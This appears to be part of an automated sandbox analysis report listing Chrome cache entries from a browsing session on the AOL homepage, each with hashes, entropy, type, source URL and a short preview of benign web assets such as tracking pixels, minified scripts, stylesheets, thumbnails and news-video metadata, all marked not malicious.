Preview:	.PNG........IHDR.............(-.S...]PLTEGpL.................................................................................Q......tRNS.........1...T....IDAT..mOI.. .#.....I..?3v..S.4.,.,..)..QN<....w.q.#s......{(.c..sf.....`..T*a..16..4B.#g\aa.......o.#...{.(..-......N..~N......p...).W..?...........6.N.....IEND.B`.

Chrome Cache Entry: 684

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 685

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4174), with no line terminators
Category:	downloaded
Size (bytes):	4174
Entropy (8bit):	5.1109024812236745
Encrypted:	false
SSDEEP:	96:3hqri9jq1YrOdIUcoySqNY3de1q1TrptsjQk:3mi1u6OQVdNYGufckk
MD5:	4FB1358C9D3CC812325612307C785B9B
SHA1:	4BC2BC28917303BF141E893C85F06597FD8AE2A3
SHA-256:	E6F4388CA6D5DE7ADD1CA5A0008E795D0E03713F98AEE077BB5E60DED026DBD7
SHA-512:	D5FE5EACC5606439E345EC4E94D9D1F4A5D6C7B312F9D85E3F4FF1BAE2C4BB78CCE0550DC77783197213EDFA89D7EC0FE338D148654A591EF98E8016AC1BBC12
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-bind-1.1.3.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-bind",[],t):"object"==typeof exports?exports["wafer-bind"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-bind"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o(

Chrome Cache Entry: 686

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6629
Entropy (8bit):	4.844833644931232
Encrypted:	false
SSDEEP:	192:CSBTTKAeahpX7AmmoOaXO0FpXqkmq9mfIgmqf/hhNgH3V9u7jOVfhUYd:n726
MD5:	F3615890804672898BC17387F80CF2D7
SHA1:	11AAC657FD8C6AAD749CA4AD606B8CD293BE8A9E
SHA-256:	00900B79A9E964D5D4C90371ECE4F3776F9CE0041BB6759004DBA34D24F9DED0
SHA-512:	DB59B73237F6FEC04210A2AB35F60DECE8B6C708348BA90BE53A21F03E358246C7571A7F4D06DCFC36279E22D7AC3571D63EDCE4AEB01123756E12CAEF414E2A
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/offer-templates.css
Preview:	/* Neat 1.7.0. * http://neat.bourbon.io. * Copyright 2012-2014 thoughtbot, inc.. * MIT License /.html {. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }.., :before, :after {. -webkit-box-sizing: inherit;. -moz-box-sizing: inherit;. box-sizing: inherit; }...infor-module.prty-1 {. background: #FFF;. border: 3px solid #DA3BA0; }. .infor-module.prty-1 h1 span, .infor-module.prty-1 h2 span {. color: #DA3BA0; }. .infor-module.prty-1 .cta {. border-color: #DA3BA0;. color: #DA3BA0; }. .infor-module.prty-1 .cta:hover {. color: #DA3BA0; }. .infor-module.prty-1 .more-link, .infor-module.prty-1 .more-link:hover {. color: #DA3BA0; }. .infor-module.prty-1 .more-link .ah-icon, .infor-module.prty-1 .more-link:hover .ah-icon {. color: #DA3BA0; }..@media (min-width: 745px) {. .infor-module.prty-1 {. padding: 50px 45px 60px 45px; }. .infor-module.prty-1 h1 {. margin-bottom: 20px;. font-size: 2.375rem;.

Chrome Cache Entry: 687

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1662
Entropy (8bit):	6.781813768994175
Encrypted:	false
SSDEEP:	48:NcYJq7jRZZYhzD3YgpAA7rSZmi+vICRU6/r:NFJCZuD37DvdANur
MD5:	08B992F5E1CEB85B16075CDAE0885DBF
SHA1:	61312B5FEED0EE4886BBA263E01DE3723307BEE3
SHA-256:	90644C8DB62AD3D9CEA2F5329FAE071E081530FE8A17C6F3303AA391A0C8B6E9
SHA-512:	241CD6547F796EBEA85143DC0649AABE92B5516D573B5C9BAAB6C16CBAB30B1DDD6B93E0015BEE81E35932825028CE3626BBA8E826AAA1B01E62E674B959A0BE
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F1OsqZ2pFbgTFzAjs10o6yg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20230410%2F500x500%2Fminnesota-twins_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a75a87a3e73c354a94d4b48834cde7d1ee914a2f
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL..4..4..3.+\..4.+\.+\.+\..4.'Y..4..4..2..4..4..4..4.+\..2..4..4..4..4.[.)Z..3.+\.)\.+\.+\..4..4..4..4..4..4..4..4..4..4..4..4..4..4..3..4.+\.+\..4.+\..4.+[..4..4..4.+\..4.+\.+\.+\..4.+\..4..4..4..4..3..4..4..4..4.+\..4.+\.+\.+\.+\..4..4..4.+\.+\.+\.+\.+\.\.+\.+\.+\.+\.+\..4.+\.[..4.\.+\.+\..4.+\.+\.+\.+\..4..4..4..4..4..4..4.+\.(X..3..4..4..4..4.+\..4..4..4.+\..4..4..4..4..4.+\..4..4..4..4..4..4.[..4..4.+\..4.\..4..4..4.+\..4.+\..4..4..4..4..4..4.+\.+\.+\.+\..4..4..4..4..4.+\.+\.+\..4.+\.'W..4.+\..5.Z.+\..4.+\.+\..4.+\.+\j%I..4.+\..4.[.+\..5..4.!=.!<..4.+\.+\.+\.+\.+\.+\.+\..4.+\.+\..4.+\..8.+\.+\.+\.+\. :..4.+\..7.+\..4.!=:(R..7[&LR&N..8A'QF'P. ;.M......tRNS.......9......0...B........g.K..#...=..?P9......6......S%..O..,... .Z.%.....f..VQ.\|:]?G.z.O.F5f.u4s......E>[..R.L.....h.q...7W.....`{...U.)...j..."...$.4.p.r>...Cm..l...]J,k..n:.....E..3;....1..vkYh..7.S.:e....IDATH.c`....8.y.\j4.G..3..r2.TO...l..h.{}.\|..L...3.......q.

Chrome Cache Entry: 688

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, components 3
Category:	downloaded
Size (bytes):	10080
Entropy (8bit):	7.947149634617509
Encrypted:	false
SSDEEP:	192:HWIsSsQ++d+ZlZUuo96zoLPNz2HqUVBmMVSWqit+Xj5M26MsdX:2/jQ+OsZTKco7NzeqymMEviUsXV
MD5:	1D2BAA0F1FB1D157C4EB518F8C2FF2E9
SHA1:	4B3D6B7501B54CFF8A8F1B36B55BCD7A79DDE39C
SHA-256:	2037B12B2E063AF59E92AA91C80B66FAF2A465C6D666F9D81A179AD2FC9FD327
SHA-512:	A8E1BB23604E6DB6BECC8A85FA986CECFEA13AA0D3F1515FE085705D5C9F8C935D416B133964438C2839C6A25902808B3D0C6E4EAFBA1E899B81C68055CED74E
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F46063723c8168ec623070ebddfba52dd&client=76f99bdb8f78cd44cc0b&signature=78c607183671b4e9d7f18dfbdfda68fa9f257a77
Preview:	......JFIF.............C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C.......,..,]>5>]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]...........................................................................................!"..i.E..Zf......l....8..4Q.:l.\.....e..=...=..o..D!.TkHg.+.W.-...t.=d.r[.t...:.zp%P4.e.pw.....".B.(.2..^.j.b.5..I.......M.h...T....v..2..#.b$.J...#.V..fY..Q.0.~k%.2.r..........Ih..j6...f..6K........<........z'V......0....../......6m.6=rjfy..0.>0i..0....5H\&.?.....j......1"..T.AE.zb..2...n...\|..f...g._'...s.Pv..........-R.....Jc...s.w.<....Rt.c`P._......../...........t....y....,..4..2.9Z.S]l..3...t..9....\...<..A.0...VP...k%.... l8S...o......<...7R...5......L.9iRv..n#,...7..[D3.A...t.../W."\|.ul.@...z:'-)...y....jo)-.8t8...S.5...V0q.).V..1.>-..I.uZ.i.].p0..S.0 ..M.s.:i.8.k..}\(0....V.M7F{.7.@..>nk...(C) ....&n.....n}G..._k.]..o[..F.Yy_(r...op..z.2;....Xti..A....1.B...9e.P.a..j....S.4

Chrome Cache Entry: 689

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2594
Entropy (8bit):	5.126543963393351
Encrypted:	false
SSDEEP:	48:BmLnLL+Np26sRsLHPB3UG5mMip2LqPB3UG5mMipePB3UG5mMip4tH/IAnqhH/IAe:WGNpKmZ3UGgMYZ3UGgMLZ3UGgMptSLUB
MD5:	0569DC23A557AB5E62E6AE0D5170C490
SHA1:	E83124C0B8829734DAE68C64004752B83D7379B1
SHA-256:	00D38B7B97145360EBE3D0CE6F29F108C20CDC6A1265A26C6E4813B86364DE55
SHA-512:	DE5BD315E5BE417F9E273B32AFCCC8732ADCC0097C791DE0744C5C498DBF481F8A7AB4B5EB9E3178F8F101EAC0E36C36A42688CD3335E9EBF8363AB6BBB5996F
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/images/weather/large/28-mostly-cloudy-day.svg
Preview:	<svg width="128" height="128" viewBox="0 0 128 128" fill="none" xmlns="http://www.w3.org/2000/svg">.<path opacity="0.3" d="M57.5 95C79.8675 95 98 76.8675 98 54.5C98 32.1325 79.8675 14 57.5 14C35.1325 14 17 32.1325 17 54.5C17 76.8675 35.1325 95 57.5 95Z" fill="url(#paint0_linear_104_181)"/>.<path d="M57.5 87C74.8969 87 89 72.8969 89 55.5C89 38.1031 74.8969 24 57.5 24C40.1031 24 26 38.1031 26 55.5C26 72.8969 40.1031 87 57.5 87Z" fill="url(#paint1_linear_104_181)"/>.<path opacity="0.635742" d="M57.6697 85C74.9729 85 89 70.9842 89 53.6949C89 47.9978 87.4769 42.656 84.8153 38.0541C84.8153 37.4627 60.0282 40.6934 60.0282 40.6934C60.0282 40.6934 26.4666 60.3386 26.4666 60.3386C29.4326 74.5459 42.5705 85 57.6697 85Z" fill="url(#paint2_linear_104_181)"/>.<path d="M80 35C62.2062 35.0033 46.7972 47.3536 42.92 64.72C40.0806 63.5934 37.0548 63.01 34 63C20.7452 63 10 73.7452 10 87C10 100.255 20.7452 111 34 111H80C100.987 111 118 93.9868 118 73C118 52.0132 100.987 35 80 35Z" fill="url(#paint3_linear_

Chrome Cache Entry: 690

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	277
Entropy (8bit):	6.327525090862984
Encrypted:	false
SSDEEP:	6:6v/lhPf4OllScQvlolyIUnVbajqbWgTjoPSSEWYe8fyiovbjRuKBa1g+CQh0p:6v/7rllqtolyIUxGqbTjoPSRWTvxuKEG
MD5:	DF9A2FDE7D1D68B13D038C4AB499201B
SHA1:	EB3097D78B2E350FC2C671578AA43E650EEDE41E
SHA-256:	C0C1D1343803CFD6D58CDEBAB0526EFED850A495E1AE37B092FBD53C5CCF17AE
SHA-512:	34A24F58A2292422A01D9BB2B80FF36061C7A40ADA7F174DAA564978DD531E36AF6464778A98F899E7B9554E52224E089DDBEB5BA10079F77F92421FFE13336A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...BPLTEGpL...........................t..a.....A.....5.....k..+..W..........jG....tRNS.........3......xIDAT..e.7..0..@..x.A....y<..%......E<\|.[.../~\.@...D..p..5.......H.7I.....+.F...Lu.=.$.Y.2k.2s....z.&):.;k.a...........++z.....IEND.B`.

Chrome Cache Entry: 691

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	794
Entropy (8bit):	5.017725124770505
Encrypted:	false
SSDEEP:	24:LdBsom7SPXIlpiIUIGLxPV9xFw2Q0RhoFGRO3:LdBpLIDilIGpJFJQaSFGM3
MD5:	D868EE9442457EADB990FE5D9D79CACF
SHA1:	9753DA8685A39602C470F5B37C3A0A114C835383
SHA-256:	794C7BFD813DC3B8720E0D7488994EDE4872A38C23AC7F987B7D40C933D1E319
SHA-512:	4E27C0A68904A5DECCAD2777C46634441D7BAF407E24ED58D504A600107BB391BFCFD4ADC15526753482F7093F5A86447B356AAD26867A3D0430A8C686A800D5
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/segment1.vtt?akamai_token=exp=1716516988~acl=/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/*~hmac=c2ee02b09e1308de7ca9cbcd5cead0d31500a50a4337c809a195d510774cfee2
Preview:	WEBVTT.X-TIMESTAMP-MAP=LOCAL:00:00:00.000,MPEGTS:0..00:30.000 --> 00:34.220.Catherine, Princess of Wales, has largely been .absent from the public stage since January due..00:34.229 --> 00:35.270.to health problems...00:36.229 --> 00:40.619.Honey, I just wanted to take this moment to let .you know how much I appreciate you...00:41.040 --> 00:44.189.Drew Barrymore is starring in a new ad with her .dog, Douglas,..00:44.200 --> 00:48.520.to promote a home security company to pet .owners who want to keep an eye on their animals..00:48.529 --> 00:53.639.when they aren't home. .Douglas, like, has never been more professional...00:53.650 --> 00:55.880.Like he rocked it...00:56.790 --> 01:00.000.The company will make a donation to the A S PC .a and local animal shelters for every pet video..

Chrome Cache Entry: 692

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	7.588421172765343
Encrypted:	false
SSDEEP:	48:Gxo97u9I+nIcdTX3D6HZ9GNKjD/tNNrtY3y1:Gxohu9I+nbj3DEZ99fBJY3y1
MD5:	E1659A010543D3C34B4F66A24F826F40
SHA1:	96D20CAA5F7DFE8056799A8552C2D99EF0CFCC81
SHA-256:	CBE6D9E92E68621C34A24DAFC72A15CB52826EDBE1199AA86D1940A59FCFE871
SHA-512:	6BBEF69C4826E9CB873BFC009A69EC3B1000FD60B02E1D5C86B4B8B021A040A480B1F3DF6DD398FEFF4FC8843A3404FA8B0A34409B84603896EC86816FF1BFA6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL......................................................................................................................................................-b..0...3IX.8i.5.39MW.4_.4g0Rz.9.4..b.1a..1%B[.;].<].4.GYplL$A[....5_.;k2T{<NVQZR6KW.......xG..2.8..=....>m..0..c.6CRU.3.<...<[.MYS..1.tI.zG..1.9^Ec.V]Q.2`..?!?\./a.9^T\QY_P.5?^...=#Ht.7...,Nxg}..6)Mw.6he{.1HXt..`x.Gd..uH....9.0d(Lv"@[.4.5..>?PVsnK.{F..<by...Al....EQl........yG.:.....1.7^..@]aP.=\.:AQU.4&BZ..<,FY..C)DZ..@..?i~.GUT.3.........Vp.p..deN}...3f7X~..AMi....nkL^v.okL.1dx.................8i8X~%Ju.m.2...p...2e.\|FJWSzrJ...`cO.....B......n{..P8MW..A..C.9jwpJ.9..0PZR..>...m...7.Cp5KXCa..AoB`.Yr.w...4IVTxpJ.8{......JtRNS...E...&..e3..z).A....._.L>Q......p."....;..[......`....-.....j...!gt.V8L.....fIDAT....e`.....mZ.........]......#i<u_.Rw....2\|......}........<tR...t...`!......R W.......k..

Chrome Cache Entry: 693

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	181331
Entropy (8bit):	5.467485292261951
Encrypted:	false
SSDEEP:	1536:Gv+i6hBunpHlfO+tCgqjotx8xupnw5W256cwS5ir+YQ13CyR7u2MUwHwpVr611KW:vi68HqEu6EjtF9a8Vr611KysZcR8BS5
MD5:	D6C07551FBFA6D4E474A6AF236654EB7
SHA1:	0970CF058578AA0F5005F87A954036A35613DB04
SHA-256:	E7E7E7A5A1FF3A110664BE9AE5D755C0EB79AF821C8665BB2A2DAF0276CC791F
SHA-512:	9BBFF8DD9AED3DC9D80D560094FB54F2390241DFBFF8B71A4D692A42FFC49DAB02B4661E0093E39A314693539DC71F21C1864C4786B8EA2DA24D89AFB6617F4C
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/rx/ev/lib/comscore-7-8-min.js
Preview:	!function(n,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.analytics=t():(n.ns_=n.ns_\|\|{},n.ns_.analytics=t())}("undefined"!=typeof self?self:this,(function(){return function(n){var t={};function e(i){if(t[i])return t[i].exports;var r=t[i]={t:i,i:!1,exports:{}};return n[i].call(r.exports,r,r.exports,e),r.i=!0,r.exports}return e.o=n,e.c=t,e.d=function(n,t,i){e.u(n,t)\|\|Object.defineProperty(n,t,{l:!0,get:i})},e.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"v",{value:!0})},e._=function(n,t){if(1&t&&(n=e(n)),8&t)return n;if(4&t&&"object"==typeof n&&n&&n.v)return n;var i=Object.create(null);if(e.r(i),Object.defineProperty(i,"default",{l:!0,value:n}),2&t&&"string"!=typeof n)for(var r in n)e.d(i,r,function(t){return n[t]}.bind(null,r));return i},e.n=function(n){var t=n&&n.v?function(){

Chrome Cache Entry: 694

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	815936
Entropy (8bit):	7.999794824226417
Encrypted:	true
SSDEEP:	24576:Mcj6ZBsGE/s2NwgQe8gc71oK5s2qydlek7:vjgBqs21qH/eG
MD5:	CF9B1FC305D78498B1CA14F2B6F59BEC
SHA1:	1E7317E30FAF39AEA51729563683F8B4FA0C8D72
SHA-256:	1BE837296358DA31E8FE5A5C63A8723BA43E883CFA13956C9034ABD130957E63
SHA-512:	EE2B8CF55BD69B76235936DE1865A6CBE0ED2A1C035CE6549E1BCB40A5105D35E2CCB26BE2D7DE9F64B0E6E9FF170E4B6CABBDC8F0099FA51E2E5A441412C18F
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/04cd0196-5ce1-4316-ad15-e975ff605a08/3x/segment1.ts?akamai_token=exp=1716526296~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=095521ed3b11d8029071ec640edef142ee576daf84f82fa84d8df638f844ee7a
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>............-o..V.%.C4.....:...C.2D.&..^N.y.O..;..........$........O...P........9......n.T_...c...sg.\|...\|...0.B.2..R....ms.=.$.=..g..]Ic....+..Q@n..a/%@l..9.Mws..D.)......P.."+"....:.....\....i.io..x.^..a..Y.....T......v......v./8I?.K.Dqy.6..(..`..{o.a...U.~v.....y....V...r1....RC.....v.i^U...}#s....yB.)..w..k......\|\|{T...E-...z.W..T..u3>/V.{....Z.;..^..........A.>.#....>lk...._.........'.q.:.#...,l....e..]9.(.Ts. L.yK....d8.d.,.f...<...s:A.....z..j\|....%..........v....n..L..U2..\..NX.p.t...G.y...0..(".h..'...,...c..J."..]....:.b.Y.Z.k.m.z#&.>b(.F~.o....:..J.L..G0.6xf@B...+.P&}......#.;.5..f.]..PF..+.Q...#..`.[..Y.'.......j...V....aE%..r..<.....Wf.BP2.~...LB.........#Z.......~....lN.0.&.g=....n.A....y........\|qnu?....`<..\NB.%?o#.2..>@Nh}.ThTG........5i.>

Chrome Cache Entry: 695

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	68973
Entropy (8bit):	5.925754938229452
Encrypted:	false
SSDEEP:	1536:n/DB/LiX3skK0yJDH9sgc2qB7areQSXWAXTm:Lh
MD5:	39CD3270EC1D946C7724194FE7275312
SHA1:	8F6D1545DCA25E99CE8D5EAD71FBEBC09F2484C4
SHA-256:	562DE7290853771A0CAF867A51366E50C4B6B2518CBCF6BDB2F1ED0FA1AA674E
SHA-512:	F44FF2CA50CA8365A1143216F574DAD320331FB8DEBDE5C6E5C7F9646710DCF3F2588EF754B4352E131240EB1016FCFEEC12CD610446765F0BC24A09AC4D0483
Malicious:	false
Reputation:	low
URL:	"https://video-api.yql.yahoo.com/v1/video/sapi/streams/367e5c27-5f3b-3a8e-9d25-71dc03f1baf2,f5867e17-2f40-3a07-b39f-1db69858c290,b0a7775d-cd3b-37fc-9f7a-7dfa65956716,c4c2ea15-7809-3863-9822-c3765d9e5078,27a1a0b4-06de-375d-a99a-c25a84a80ac5,cf629d8b-ceda-3442-99e8-83229365f796,d2444c30-c4aa-3c54-ba98-10949ff359f7,b864d72c-ddad-36a8-9d41-7a5af07d805d,e38087c7-c433-3a02-9744-b61dd663dac6,def7e093-76e2-3d5d-b6c3-90f8616e4fae,78c7dc09-3b09-3296-9210-65c5385b358f?ad.pubfamily=aol&srid=1342163871&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=r64bnmq6%2Cfo37qnhd%2Cywnyod13%2Cclhsrz96%2Cpzgsp547%2Cn9aexdnr%2C87rn5tzx%2Ctq4z1w68%2Cd6733kto%2Ca2dsnk9s%2Ckgca5uwg&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad.pt=home&ad.pct=aol&evp=bcp&hlspre=false&plseq=2&gdpr=false&iabconsent=&usprv=1YNN&gpp=DBAA&gppSid=-1"
Preview:	{"query":{"results":{"mediaObj":[{"id":"367e5c27-5f3b-3a8e-9d25-71dc03f1baf2","meta":{"attribution":"","description":"Chester Zoo announced on Thursday the arrival of a family of rare Roloway monkeys, one of the world.s most endangered species of primates. Staff at the facility described the arrival of the monkeys as "incredibly special." The family of four includes mum Masaya and dad Grizu, along with two young sons Anum and Ilo. The monkeys have a unique look: a dark body, white chest and distinctive white ruffs around their faces. According to Chester Zoo, Roloway monkeys are on the brink of extinction due to habitat loss in West Africa.","title":"Family of rare monkeys arrives at UK zoo","genre":"","embed_rights":true,"duration":57,"url":"https://www.yahoo.com/news/family-rare-monkeys-arrives-uk-105316530.html","thumbnail":"","create_date":"2024-05-23T10:58:28Z","provider":{"provider_id":"video.associatedpressfree.com","provider_video_id":"5ff0ab846696456db3b6858673

Chrome Cache Entry: 696

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2315)
Category:	downloaded
Size (bytes):	4106
Entropy (8bit):	5.408844136061885
Encrypted:	false
SSDEEP:	96:NY7YNYMj8UazlBVrsW1SPKTBxj6kDxx1vlsyS1x69O84+SGy8bf5xSMM:686Bbl/nASTflDBvpB4+PBbBxSMM
MD5:	66A4C12F7123A6454083A73EF207B4DE
SHA1:	C631783F2AF90C2B41C3220BC2036DBA87953A23
SHA-256:	9E901E3D7C0E16C2DB6399568CBB1C5A3CB0E48956CDD4A0E6B69CB713E6B19A
SHA-512:	9729DF4D80911C82927E8890D8035652C3FBE95C5825F66A30C587BAC7C8D1859031FCB1C96304F1AD383B802EEA1BE607542E64AC89B5C712A09093F36C05FA
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/js/car.js
Preview:	/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ .var e=this\|\|self,f=function(a){return a};/ . . SPDX-License-Identifier: Apache-2.0 .*/ .var g={};function h(a){return Object.isFrozen(a)&&Object.isFrozen(a.raw)}function k(a){return-1===a.toString().indexOf("`")}const l=k(a=>a``)\|\|k(a=>a`\0`)\|\|k(a=>a`\n`)\|\|k(a=>a`\u0000`),m=h``&&h`\0`&&h`\n`&&h`\u0000`;var n;var q=class{constructor(a){if(p!==p)throw Error("TrustedResourceUrl is not meant to be built directly");this.j=a}toString(){return this.j+""}},p={},r=function(a){if(void 0===n){var b=null;var d=e.trustedTypes;if(d&&d.createPolicy)try{b=d.createPolicy("goog#html",{createHTML:f,createScript:f,createScriptURL:f})}catch(c){e.console&&e.console.error(c.message)}n=b}a=(b=n)?b.createScriptURL(a):a;return new q(a)};var t=class{constructor(a){if(g!==g)throw Error("Bad secret");this.l=a}toString(){return this.l}};new t("about:blank");new t("about:invalid#zClosurez");const u=[];var v=a=>{console.warn(`A

Chrome Cache Entry: 697

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:PUyESyY5hE:PUhu5hE
MD5:	5BF641491A20F2044C51558037392F1A
SHA1:	39676EF27B5C648C57313FAEE7BE8554EA58A4C0
SHA-256:	50BA226E057158000294A012063FE8A58EC82DCE44F29DF8A85A3B2130198ABE
SHA-512:	EDC014AA799F5129CCDE382DD4C28D4C362EDD8C15DED60169AE01A8440C6DB02E3C795F704431F615B4A95710C5E06AA01648E0893F6874C5A5A711015BC7AB
Malicious:	false
Reputation:	low
Preview:	..g......b......

Chrome Cache Entry: 698

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	92242
Entropy (8bit):	3.9361104205060347
Encrypted:	false
SSDEEP:	1536:wO1CjthWUmIBqSj8H2d268sVvgMjElikz:7szJBpjytlikz
MD5:	5ECACA0F2F2144BD8F8B20581ABC70D1
SHA1:	BEFBF2839889912D356FD63F2F5017EAB3F4324E
SHA-256:	E6BAC922ECE865AB47D3FDA3EB7029CDF2BB1033B8D28BB8665103458F4FD5DA
SHA-512:	5CB274186161DC7061E5B4DD79C053524B1CC6BDE6FFE7D456412BAEE7DEA5FF60B82F7FAFD6013B03B5822AFF55079BDC9C4994747E936E86FF5C315C154171
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/eh/prebid-config/bp-aol.json
Preview:	{. "brandProtection": {. "badv": {. "1111.com.tw": true,. "1962pac.com": true,. "1keygou.com": true,. "2020upto.us": true,. "21stcenturysmoke.com": true,. "2363.org": true,. "350.org": true,. "3oaksorchard.com": true,. "43cbd.com": true,. "4everstamp.com": true,. "53peaks.org": true,. "60plus.org": true,. "76place.com": true,. "814isnotok.org": true,. "AmericasSpirit.org": true,. "BetterTogetherVillage.com": true,. "DanBooneForHuntersville.com": true,. "DeLuzioforCongress.com": true,. "Rugbyaddict.com": true,. "Socceraddict.com": true,. "TennisWorldUSA.com": true,. "TwilaCarter.com": true,. "Winred.com": true,. "a1apac.org": true,. "aaa.asn.au": true,. "aarti4communitycollege.com": true,.

Chrome Cache Entry: 699

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.985902344426086
Encrypted:	false
SSDEEP:	3:YEOBHM/ErS6K27:YEOBlS6K27
MD5:	A294D37FAA8CD1F40A9B2D8FEA6D4DB9
